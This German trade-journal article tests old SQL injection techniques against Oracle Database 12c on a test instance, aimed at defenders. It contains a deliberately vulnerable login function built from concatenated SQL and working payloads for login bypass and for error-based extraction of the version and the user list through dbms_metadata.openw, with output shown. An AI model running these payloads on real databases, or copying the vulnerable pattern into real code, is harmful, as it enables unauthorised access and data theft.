Oracle-Datenbank 12c und SQL Injection – alte Tricks in der neuen Datenbank

Vladimir Poliakov, AREVA GmbH

Einerseits gibt es bereits sehr viele Tutorials, Leitfäden und Frameworks zum Schutz vor der SQL-Injection-Bedrohung, mit denen dieses Thema schon seit Langem vom Tisch sein sollte. Anderseits kommt es selten, aber immer noch vor, dass etwas mal schnell programmiert wird, was die Datenbank-Administratoren zu Recht verärgert …

Aus diesem Grund holte der Autor seinen alten Artikel *[1]* aus der Schublade, um zu sehen, ob die neue Oracle-Datenbank 12*c* die alten SQL-Injection-Tricks abwehren kann. Wie bereits damals, bei den Tests der Version 11*g* R2, wurde dieses Mal auch eine Oracle-Instanz ohne jegliche zusätzliche Komponenten installiert *(siehe Listing 1)*.

Danach wurde ein Benutzer „TESTUSER" angelegt, der nur zwei Rollen „CONNECT" und „RESOURCE" besitzt. In diesem Schema entstand auch eine Tabelle „T_ACCOUNT", in der Benutzername und Passwörter einer Test-Anwendung verwaltet werden sollen *(siehe Listing 2)*.

```
SQL> select COMP_NAME, VERSION from dba_registry;

COMP_NAME                                          VERSION
-------------------------------------------------------
Oracle Workspace Manager                           12.1.0.1.0
Oracle XML Database                                12.1.0.1.0
Oracle Database Catalog Views                      12.1.0.1.0
Oracle Database Packages and Types                 12.1.0.1.0
```

Listing 1

```
SQL> desc T_ACCOUNT

Name           Null?      Type
---------------------------------------
T_ACCOUNT_ID   NOT NULL   NUMBER(9)
NAME           NOT NULL   VARCHAR2(30)
PWD            NOT NULL   VARCHAR2(30)

SQL> insert into T_ACCOUNT values(1, 'Dummyuser', 'dummypwd');
1 row created.
SQL> commit;
Commit complete.
SQL> select * from T_ACCOUNT;

T_ACCOUNT_ID NAME                           PWD
------------ ------------------------------ --------
           1 Dummyuser                      dummypwd
```

Listing 2

Zur Authentifizierung wurde eine kleine Funktion geschrieben, die prüft, ob der Benutzer mit dem Passwort in der „T_ACCOUNT"-Tabelle existiert und eine positive oder negative Antwort zurückgibt. Im Fehlerfall liefert die Funktion eine Exception zurück *(siehe Listing 3)*.

Die Funktion stellt grob eine reale Situation dar und sieht im ersten Augenblick wirklich harmlos aus, weil sie so gut wie keine Daten aus der Datenbank zum Client liefert. Anderseits nimmt die Funktion alle Eingabeparameter ohne Prüfung entgegen und ist somit für die SQL-Injection-Angriffe offen.

Nach diesen Vorbereitungen war das System zum Testen einsatzbereit. Auf eine grafische Oberfläche wurde bewusst aus Zeitgründen verzichtet und alle Testfälle direkt mithilfe eines Skripts in SQL*Plus durchgeführt *(siehe Listing 4)*. Die erste Aktion war, die Richtigkeit der Funktion zu prüfen *(siehe Listing 5)*. Nach dem Einspeisen der SQL-Injection-Zeichenkette ging das Experiment richtig los *(siehe Listing 6)*.

Zur Demonstration der SQL Injection wurde gleich am Anfang die Technik der kontrollierten Fehlermeldungen benutzt *[2]*, weil die PL/SQL-Testfunktion keine Daten zurücklieferte. Diese Technik hat sich bereits gut in der Oracle-11*g*-R2-EE und -XE bewährt und sollte auch in Oracle 12*c* möglich sein. Diese Vermutung war, wie man sieht, richtig.

Wie in der 11*g*-Version wirkt SQL Injection in der 12*c*-Version via PL/SQL-Netz-

```
CREATE OR REPLACE FUNCTION TEST.TEST_FUNCTION
(in_Username IN VARCHAR2, in_Pwd IN VARCHAR2)
RETURN VARCHAR2 IS
  n_AccountExists NUMBER;
  str_SQL VARCHAR(2000);
BEGIN
  str_SQL := 'select count(*) from t_account
where name = ''' || in_username || ''' and pwd
= ''' || in_pwd ||'''';

  EXECUTE IMMEDIATE str_SQL INTO n_AccountEx-
ists;

  if n_AccountExists > 0 then
    return 'Anmeldung ist korrekt';
  else
    return 'Anmeldung ist nicht korrekt';
  end if;

EXCEPTION
  WHEN OTHERS THEN RAISE;
END TEST_FUNCTION;
/
```

Listing 3

```
DECLARE
  IN_USERNAME VARCHAR2(200);
  IN_PWD VARCHAR2(200);
  v_Return VARCHAR2(200);
BEGIN
  IN_USERNAME := &IN_USERNAME;
  IN_PWD := &IN_PWD;

  v_Return := TEST_FUNCTION(
    IN_USERNAME => IN_USERNAME,
    IN_PWD => IN_PWD
  );
  DBMS_OUTPUT.PUT_LINE('v_Return = ' || v_Re-
turn);
END;
/
```

Listing 4

```
SQL> @exec_test_function.sql
Enter value for in_username: 'Testuser_name'
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 'Testuser_name';
Enter value for in_pwd: 'Test_pwd'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := 'Test_pwd';
v_Return = Anmeldung ist korrekt
```

Listing 5

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: '1'' or 1=1 --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := '1'' or 1=1 --';
v_Return = Anmeldung ist korrekt
```

Listing 6

werk-Paketen (UTL_TCP, UTL_HTTP etc.) nicht mehr. Diese Pakete müssen ab 11*g* vom DBA für die einzelnen Benutzer beziehungsweise Rollen über sogenannte „Access-Control-Listen" (ACL) explizit freigegeben werden. Diese werden über die XML-DB-Komponente gesteuert, die bereits nach der Default-Installation dabei ist *(siehe Listing 7)*.

So weit, so gut – man kann die PL/SQL-Netzwerk-Pakete für SQL-Injection-Angriffe wie in der Version 11*g* nicht verwenden. Das ist ein Lob für Oracle. Andererseits kann man die Access-Control-Listen wie früher umgehen. Die Alternative ist eine andere Funktion „CTXSYS.DRITHSX.SN" *[3]*, falls die Oracle-Text-Komponente mitinstalliert worden ist. Ansonsten bräuchte man eine andere Funktion, die „NUMBER" oder „VARCHAR2" als Rückgabewert sowie eine überschaubare Anzahl von Eingabeparametern (nicht mehr als 4) besitzt und von „TESTUSER" ausgeführt werden darf. Die Anfrage in *Listing 8* liefert die Liste der möglichen Kandidaten.

Selbstverständlich ist nicht die erste beliebige Funktion ein Kandidat für die SQL Injection *(siehe Listing 9)*, aber mit ein bisschen Logik und Scripting findet man schon einige geeignete Funktionen, wie „SYS.DBMS_METADATA.OPEN" oder „SYS.DBMS_METADATA.OPENW" *(siehe Listing 10)*. Jetzt kommt dank der in 11*g* R2 eingeführten Funktion „LISTAGG" eine effiziente Abfrage, die eine Datenbankbenutzer-Liste in einer Zeile liefert *(siehe Listing 11)*.

Nachdem jetzt die Version der Datenbank und alle User in der Datenbank bekannt sind, kann Google bei der Suche nach den bereits bekannten Bugs oder Hin-

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: '1'' or 1=(utl_inaddr.get_host_
name((select banner from v$version where rownum=1))) --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := '1'' or 1=(utl_inaddr.get_host_
name((select banner from v$version where rownum=1))) --';
DECLARE
*
ERROR at line 1:
ORA-24247: network access denied by access control list (ACL)
ORA-06512: at "TESTUSER.TEST_FUNCTION", line 20
ORA-06512: at line 9
```

Listing 7

```
select * from all_arguments where object_name in
(
select distinct object_name  from
(
SELECT distinct OBJECT_NAME, PACKAGE_NAME, POSITION, DATA_
TYPE, COUNT(POSITION) over(partition by OWNER, PACKAGE_NAME,
OBJECT_NAME) COUNT_ARG  FROM all_arguments where package_
name in (select object_name from all_procedures)
)
where POSITION = 0 and DATA_TYPE in ('NUMBER','VARCHAR2')
and COUNT_ARG <= 5
)
order by owner, package_name, object_name;
```

Listing 8

```
SQL> @exec_test_function
TESTUSER@ORCL|SQL> @Listing_4
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: '1'' or 1=(dbms_addm.get_ash_query((select ban-
ner from v$version where rownum=1),1)) --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := '1'' or 1=(dbms_addm.get_ash_query((select banner
from v$version where rownum=1),1)) --';
DECLARE
*
ERROR at line 1:
ORA-13616: The current user TESTUSER has not been granted the ADVISOR
privilege.
ORA-06512: at "TESTUSER.TEST_FUNCTION", line 20
ORA-06512: at line 9
```

Listing 9

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: '1'' or 1=(dbms_metadata.openw(1, (select ban-
ner from v$version where rownum=1))) --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := '1'' or 1=(dbms_metadata.openw(1, (select banner
from v$version where rownum=1))) --';
DECLARE
*
ERROR at line 1:
ORA-31600: invalid input value Oracle Database 12c Enterprise Edition
Release 12.1.0.1.0 - 64bit Production for parameter VERSION in function
OPENW
ORA-06512: at "TESTUSER.TEST_FUNCTION", line 20
ORA-06512: at line 9
```

Listing 10

```
SQL> @exec_test_function
Enter value for in_username: 1
old   6:   IN_USERNAME := &IN_USERNAME;
new   6:   IN_USERNAME := 1;
Enter value for in_pwd: '1'' or 1=(sys.dbms_metadata.openw(null, (se-
lect listagg(username, '':'') within group (order by username) from
all_users))) --'
old   7:   IN_PWD := &IN_PWD;
new   7:   IN_PWD := '1'' or 1=(sys.dbms_metadata.openw(null, (select
listagg(username, '':'') within group (order by username) from all_us-
ers))) --';
DECLARE
*
ERROR at line 1:
ORA-31600: invalid input value ANONYMOUS:APPQOSSYS:AUDSYS:DBSNMP:DIP:GS
MADMIN_INTERNAL:GSMCATUSER:GSMUSER:ORACLE_OCM:OUTLN:SYS:SYSBACKUP:SYSDG
:SYSKM:SYSTEM:TESTUSER:WMSYS:XDB:XS$NULL for parameter VERSION in func-
tion OPENW
ORA-06512: at "TESTUSER.TEST_FUNCTION", line 20
ORA-06512: at line 9
```

Listing 11

tertürchen helfen. Danach ist die weitere Vorgehensweise dem Können des Angreifers *[4]* überlassen. Es kann entweder das Stehlen der Daten oder im schlimmsten Fall sogar ein Angriff auf den Datenbank-Server sein.

Fazit

Die Faustregel lautet: „Bind-Variable sind für die Datenbankzugriffe Pflicht". Das gilt auch für die Version 12*c*, weil es gegen falsche Programmierung leider keine Mittel *[5]* gibt.

Referenzen

[1] Vladimir Poliakov: Oracle 11*g* XE Beta und SQL Injection – ein kleiner Schlüssel für die große Tür, DOAG News Oktober 2011

[2] Musings on Database Security: http://www.slaviks-blog.com

[3] Alexander Kornbrust Oracle Security Blog: http://blog.red-database-security.com

[4] DOAG SIG Security am 11. September 2013: Alexander Kornbrust, Oracle 12*c* Security aus Angreifersicht

[5] Oracle Tutorial Defending Against SQL Injection Attacks: http://download.oracle.com/oll/tutorials/SQLInjection/index.htm

Vladimir Poliakov
vladimir.poliakov@areva.com